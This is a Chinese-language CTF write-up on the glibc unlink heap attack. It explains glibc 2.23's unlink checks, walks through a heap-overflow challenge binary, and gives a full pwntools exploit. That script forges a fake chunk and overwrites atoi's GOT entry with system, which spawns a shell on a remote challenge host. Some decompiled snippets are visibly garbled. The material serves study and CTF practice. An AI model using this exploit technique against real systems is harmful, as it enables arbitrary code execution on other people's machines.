Unlink漏洞原理及利用（Unsortedbin）

什么是unlink？

unlink 俗称脱链，就是将链表头处的 free 堆块 unsorted bin中脱离出来，然后和物理地址相邻的新 free的堆块合并成大堆块（向前合并或者向后合并）再放入unsorted bin中。

危害原理：通过伪造free状态的fake_chunk，伪造fd指针和bk指针，通过绕过unlink的检查实现unlink，unlink就会往p所在的位置写入p-0x18，从而实现任意地址写的漏洞。

漏洞产生原因：offbynull，offbyone，堆溢出修改了堆块的标志位

我们所称的unlink其实就是在双向链表中取出一个chunk的操作，那么什么时候会用到unlink呢？

1）malloc

  • 在恰好大小的large chunk处取chunk时
  • 在比请求大小大的bin中取chunk时

2）free

  • 后向合并，合并物理相邻低物理地址空闲chunk时
  • 前向合并，合并物理相邻高物理地址空闲chunk时（top chunk除外）

3）malloc_consolidate

  • 后向合并，合并物理相邻低地址空闲chunk时。
  • 前向合并，合并物理相邻高地址空闲chunk时（top chunk除外）

4）realloc

  • 前向扩展，合并物理相邻高地址空闲chunk（top chunk除外）

堆复习

在学习unlink之前再复习一下堆1767166954029-ecb50b8b-b118-4779-bcbc-920e5c052b72.png1767166999426-b601f60d-a97a-48de-9b39-8681732f6979.png我们之前学习到，P=1表示物理相邻的前一个堆块正在被使用，当P=0时两个堆块就会合并成一个大堆块，并放在unsorted bin这个链表中1767167120158-83ac74fd-e2f8-4241-bb92-bb2cb118b2e5.png1767167139961-0daaaf13-3fc4-4e11-94b8-8fdea2111ab7.png

  • 下面用图介绍一下main_arena并给出一些在本题中比较重要的一些东西：
    • unlink过程主要脱的是bins中管理的堆块链表
    • 当unlink结束后新合成的堆块会与top_chunk的地址相连还会与top_chunk合并
![1767167248026-75a24bcc-aacc-4388-b56d-8a4db9b54076.png](/images/pwn/73098186_O5B8gtwQa8f7608U/1767167248026-75a24bcc-aacc-4388-b56d-8a4db9b54076-087680.png)

简单了解free后bin的存放

  • 对下面的程序进行动态调试，并思考以下问题
  • 1）申请的堆块释放后会被哪个bins管理？2）p1和p2会发生合并吗？3）p2和p3会发生合并吗？
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
long long int a[100];

int main() {
    long long int *p1 = malloc(0x500);
    long long int *pp = malloc(0x500);
    long long int *p2 = malloc(0x500);
    long long int *p3 = malloc(0x500);
    free(p1);
    free(p2);
    free(p3);
    return 0;
}
# gcc -o unlink_64 unlink_64.c -fno-stack-protector -z execstack

程序进行编译之后用gdb进行调试并ni单步执行到<main+64>

1767169066230-a0b7d623-1931-4ed9-bbbb-17ae33a64941.png用heap指令查看堆块，直接看堆块的前缀标识

  • Allocated chunk：表示这个堆块是正在被使用的（已分配，未被 free）；
  • Top chunk：是堆的 “顶部空闲块”，属于空闲状态（未被分配，用于后续 malloc 扩展）。

发现一共申请了四个堆块并且四个堆块都在使用中1767170135894-c2a638fd-627a-433d-8991-386c86a2e085.png

再次单步执行到第一个free之后，第二个free之前看一看堆块情况

发现第一次被释放的chunk0被归入到了unsortedbin1767171132630-0fd3ff2e-9fdc-4da6-8e11-8042c8751271.png再次执行到第二个free之后第三个free之前看一看堆块的情况

发现第二个chunk也被放入了unsortedbins

1767171172839-baeae728-9872-4476-962d-9271e7080dd3.png查看unsortedbin发现bin上有两个链条且没有合并，按照后进先出的原则1767171254938-ae500dc5-9bf9-4166-9fa8-82746491ddbf.png看一下第三次free之后的情况，发现后两个堆块被合并到Top chunk中，topchunk的addr也发生变化1767171367504-88dbcb2a-cd53-4327-9f21-10b63aeb8a86.png因此这些堆块释放后都会被unsortedbin管理

p1与p2两个指针的堆块是不会合并的，并且只有物理地址相邻且空闲的堆块会被合并

p2与p3这两个指针指向的堆块是会合并的

unlink的检查过程

通过分析glibc源码，并使用图描述unlink的过程，具体了解unlink的检查过程

在http://ftp.gnu.org/gnu/glibc/下载gilbc-2.23.tar.xz文件，来到malloc文件夹中的malloc.c

这里直接给代码放出来1767171992496-74b04625-5aee-496e-9cf7-45052291b8af.png我们这里简单了解前八行的内容：

在unlink中只是进行了脱链的操作，并没有修改堆块的size位，而堆块的size位是在malloc_consolidate这个函数中所修改的

1
2
3
4
5
6
7
8
define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))	//0或非0，对应true，false	      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \1
        FD->bk = BK;							      \
        BK->fd = FD;

**tip）**unlink的过程是指 chunk加入unsortedbin之前进行的，所以他们的fd、bk指针都是根据物理地址的高低来指向的

  • fd 指向当前chunk的下一个空闲块，通常是物理内存地址较高的那个块
  • bk指向当前chunk的上一个空闲块，通常是物理内存地址较低的那个块
  • 当前chunk的指针fd&bk会被设置成NULL，表示没有后续和前面的空闲块
1
2
FD = P->fd
BK = P->bk

1767172495400-ab9f7a71-231e-4367-8931-8f6d87c9127e.png

1
2
FD->bk = BK;							      
BK->fd = FD;

1767173010527-67b29573-f7e4-4c6b-ab8a-0965316ad281.png大概了解了脱链的一个步骤，我们再来看一看判断条件的代码

1
2
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

意思是在脱链之前，会检查加粗红线的链表是否指向要脱掉的链，可以防止双向链表的破坏，

防止FD中的bk被修改或者BK的fd指针被修改

1767173151507-e3573d6b-4aec-4241-a77b-331449cee00f.png

  • glibc没办法判断这个位置是不是chunk，他是根据prev_size和size确定堆块的
tip）glibc如何识别chunk

从某个起始地址（比如当前 chunk 的末尾）读取prev_size和size的值；

完全按照这两个值来计算 “下一个堆块的起始地址”“前一个堆块的起始地址”，并执行后续操作。

unlink欺骗glibc过程
1
2
3
4
5
6
7
8
# 64位系统，初始堆内存布局（地址为示例，核心看偏移） 
# 地址         字段名                数值      说明
0x1000:        chunk0_prev_size     0x0        # chunk0是堆起始块，前块大小为0
0x1008:        chunk0_size          0xa1      # 0xa0(总大小) + 0x1(P位=1，前块被使用)
0x1010-0x109F: chunk0用户区         合法数据    # 共0x90字节（0x1010到0x109F）
0x10A0:        chunk1_prev_size     0xa0      # 前块(chunk0)总大小是0xa0
0x10A8:        chunk1_size          0xa1      # 0xa0(总大小) + 0x1(P位=1)
0x10B0-:       chunk1用户区         合法数据    # chunk1的实际使用区域

堆溢出篡改后的内存布局（代码块格式）

1
2
3
4
5
6
7
8
9
10
11
# 篡改后堆内存布局（你通过change(0)写入payload的结果）
# 地址          字段名                数值         说明（你的伪造目的）
0x1000:         chunk0_prev_size      0x0         # 保持不变，不影响核心逻辑
0x1008:         chunk0_size           0x91        # 伪造：0x90(总大小) + 0x1(P位=1)
0x1010:         fake_fd               0x6020A8    # 伪造fd：ptr-0x18（目标地址偏移）
0x1018:         fake_bk               0x6020B0    # 伪造bk：ptr-0x10（目标地址偏移）
0x1020-0x108F:  填充数据               b'a'*0x70   # 占满chunk0用户区剩余0x70字节
0x1090:         fake_chunk1_prev_size 0x90        # 伪造chunk1的prev_size，欺骗glibc计算
0x1098:         fake_chunk1_size      0xa0        # 伪造chunk1的size，绕过glibc检查
0x10A0:         chunk1_prev_size      0xa0        # 原始值未改，但glibc会被伪造值误导
0x10A8:         chunk1_size           0xa1        # 原始值未改

当你调用remove(1)（即 glibc 执行free(chunk1)），glibc 会按固定逻辑检查前块是否可合并，步骤如下：

  1. 第一步：读取 chunk1 的 prev_size，找前块地址
    • glibc 从 chunk1 起始地址 0x10A0 读取 prev_size，原始值是 0xa0；
    • 计算前块地址：0x10A0 - 0xa0 = 0x1000（这是 chunk0 的合法起始地址）；
    • 读取 0x1008（chunk0 的 size），值为你伪造的 0x91，检查 P 位 = 1（表示前块被使用）
  2. 第二步：被伪造的 chunk1 prev_size 误导，重新计算
    • glibc 会额外检查 “当前 chunk1 的 prev_size 是否与前块 size 匹配”；
    • 它读取你伪造的 0x1090 位置的 prev_size=0x90（本应是 chunk0 用户区的内存，却被当成 chunk1 的 prev_size）；
    • 重新计算前块地址：0x10A0 - 0x90 = 0x1010（ 这样就会把 chunk0 用户区的地址当成了 “前块起始地址”）。
  3. 第三步：把伪造地址当合法 chunk，执行 unlink
    • glibc 认为 0x1010 是一个合法的 free chunk 起始地址；
    • 读取 0x1010 的 fd（你伪造的 0x6020A8 ）和 0x1018 的 bk（你伪造的 0x6020B0）；
    • 执行 unlink 核心逻辑：c运行
1
2
3
4
// BK->fd = FD → 0x6020B0 + 0x8 = 0x6020B8（目标地址）写入0x6020A8
*(0x6020B0 + 0x8) = 0x6020A8;
// FD->bk = BK → 0x6020A8 + 0x10 = 0x6020B8（目标地址）写入0x6020B0
*(0x6020A8 + 0x10) = 0x6020B0;
1
- <font style="color:rgb(0, 0, 0);">此时</font>`<font style="color:rgb(0, 0, 0);">0x6020B8</font>`<font style="color:rgb(0, 0, 0);">（即你要篡改的</font>`<font style="color:rgb(0, 0, 0);">ptr=0x6020C0+0x8</font>`<font style="color:rgb(0, 0, 0);">）被写入指定值，实现任意地址写。</font>
核心本质总结
  • glibc 全程没有验证 “0x1010是不是系统分配的合法 chunk 起始地址”，只看内存中prev_size/size的数值；
  • 你通过堆溢出把 “用户区内存” 伪装成 prev_size/ size字段，glibc 就 “机械地” 按这些伪造值计算地址、执行操作；
  • 最终把本应操作堆块链表的写入，转移到了你指定的任意地址，这就是 unlink 攻击的核心。

unlink 攻击的巧妙之处：用真实堆块的头部触发逻辑，用假堆块的头部执行攻击，

两者的 prev_size 写法不同，正是因为它们的作用对象完全不同。

1767188475648-3c47ce38-992a-46b7-a008-afca5ce6e122.pngmain函数很清晰的标注整个链表能显示开辟了十个字节的堆空间，之后进行增删改查

先通过运行程序把伪代码逆向一下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  v4 = (void (**)(void))malloc(0x10u);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8u);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}
1
2
3
4
5
6
7
8
9
10
11
12
13

int show_item()
{
  int i; 
  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( name )
      printf("%d : %s", i, name));
  }
  return puts(s_);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int size; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8u);
    size = atoi(buf);
    if ( !size )
    {
      puts("invaild length");
      return 0;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !name )
      {
        *((_DWORD *)&itemlist + 4 * i) = size;
        name = malloc(size);
        printf("Please enter the name of item:");
        *(_BYTE *)name + (int)read(0, name, size)) = 0;
        ++num;
        return 0;
      }
    }
  }
  return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int nbytes; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8u);
    v1 = atoi(buf);
    if ( name )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8u);
      nbytes = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)name + (int)read(0, *(name, len)) = 0;//堆溢出
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

基本思路

  • 已知程序在开头申请了0x10个字节大小的堆块
  • 我们需要申请三个堆块，并且第1，2个堆块尽量在free后能够放入unsorted bin链表
  • 第三个堆块随便申请（防止free第二个堆块时，第二个堆块与第一个堆块合并之后再合并入top_chunk）
  • 用change函数修改堆块造成堆溢出
  • gdb动态调试查看,先申请一个堆块，使用x/20gx 0x6020C0查看这个结构体数组，发现该指针在0x6020c0+0x8的这个位置1767202086802-bcd78259-b27b-4bc9-8f23-791f08df5522.png
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/20gx 0x6020C0
0x6020c0 <itemlist>:    0x0000000000000032      0x0000000000c19030
0x6020d0 <itemlist+16>: 0x0000000000000000      0x0000000000000000
0x6020e0 <itemlist+32>: 0x0000000000000000      0x0000000000000000
0x6020f0 <itemlist+48>: 0x0000000000000000      0x0000000000000000
0x602100 <itemlist+64>: 0x0000000000000000      0x0000000000000000
0x602110 <itemlist+80>: 0x0000000000000000      0x0000000000000000
0x602120 <itemlist+96>: 0x0000000000000000      0x0000000000000000
0x602130 <itemlist+112>:        0x0000000000000000      0x0000000000000000
0x602140 <itemlist+128>:        0x0000000000000000      0x0000000000000000
0x602150 <itemlist+144>:        0x0000000000000000      0x0000000000000000
  • 所以就可以利用如下所示伪造堆块、堆溢出、unlink_attack直接任意地址写

1767201576247-22e27a51-853a-4226-b32d-d1717e37480f.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(log_level='debug')
p = remote('node5.buuoj.cn',29885)

def show():
    p.sendlineafter(b'Your choice:',b'1')

def add(lens,txt):
    p.sendlineafter(b'Your choice:',b'2')
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    	
    p.sendlineafter(b'Please enter the name of item:',txt)

def change(index,lens,txt):
    p.sendlineafter(b'Your choice:',b'3')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))
    p.sendlineafter(b'Please enter the length of item name:',str(lens).encode('utf-8'))    
    p.sendafter(b'Please enter the new name of the item:',txt)

def remove(index):
    p.sendlineafter(b'Your choice:',b'4')
    p.sendlineafter(b'Please enter the index of item:',str(index).encode('utf-8'))


add(0x90,b'a'*0x8) # size = 0xa1
add(0x90,b'a'*0x8)
add(0x20,b'a'*0x8)

ptr = 0x6020C0+0x8   # 目标篡改地址：全局数组/got表的关键位置（程序固定地址）
fake_fd = ptr - 0x18 # unlink攻击的fd伪造公式（64位固定）
fake_bk = ptr - 0x10 # unlink攻击的bk伪造公式（64位固定）

# 构造伪造的chunk0内容（覆盖chunk0的chunk头和用户区）
payload1 = p64(0x0)        # 覆盖chunk0的prev_size（无意义，设0）
payload1 += p64(0x91)      # 伪造chunk0的size：0x90（总大小） + 0x1（P位=1，前块使用中）
payload1 += p64(fake_fd)   # 伪造free chunk的fd指针（指向ptr-0x18）
payload1 += p64(fake_bk)   # 伪造free chunk的bk指针（指向ptr-0x10）
payload1 += b'a'*0x70      # 填充：0x90用户区 - 0x20（fd/bk）= 0x70字节
payload1 += p64(0x90)      # 伪造chunk1的prev_size（欺骗glibc计算前块地址）
payload1 += p64(0xa0)      # 伪造chunk1的size（绕过glibc的堆完整性检查）

#change(0,1,b'a')
change(0,len(payload1),payload1)
remove(1)
payload2 = b'a'*0x18
payload2 += p64(0x602068)
change(0,len(payload2),payload2)
show()
p.recvuntil(b'0 :')
atoi_addr = p.recvline()[1:7]
atoi_addr = int.from_bytes(atoi_addr,'little')
print('atoi_addr------->',hex(atoi_addr))
sys_addr = atoi_addr + 0x453a0 - 0x36e90
payload3 = p64(sys_addr)
change(0,len(payload3),payload3)
p.sendlineafter(b'Your choice:',b'/bin/sh\x00')
p.interactive()

更新: 2026-04-22 17:29:46
原文: https://www.yuque.com/idcm/wnemg9/zv9xwpzcugfee7pd